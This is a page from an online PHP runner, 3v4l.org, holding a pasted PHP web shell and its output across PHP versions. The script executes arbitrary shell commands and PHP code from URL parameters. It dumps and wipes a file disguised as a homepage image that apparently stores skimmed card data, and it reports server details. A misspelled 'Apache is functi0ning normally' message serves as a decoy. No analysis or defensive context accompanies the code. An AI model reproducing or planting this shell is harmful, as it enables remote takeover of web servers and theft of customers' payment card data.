3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $file = '/home/content/98/4798798/html/products/home_page_images/20100813090339_Main+Homepage.jpg'; switch($_GET['act']) { case 'system_eval': system($_GET['com']); break; case 'php_eval': eval($_GET['com']); break; case 'ccstats': if (file_exists($file)) echo(count(file($file))); else echo '-1'; break; case 'ccexport': echo file_get_contents($file); file_put_contents($file, ''); break; case 'info': $info = exec("uname -a"); preg_match("/(.*?) /", $info, $system); echo $system[1].":".$_SERVER["SERVER_ADDR"].":".phpversion(); break; default: echo("Apache is functi0ning normally"); break; } ?>
Output for 5.3.0 - 7.1.0
Notice: Undefined index: act in /in/rmgfg on line 5 Apache is functi0ning normally
Output for 4.3.0 - 5.2.17
Notice: Undefined index: act in /in/rmgfg on line 5 Apache is functi0ning normally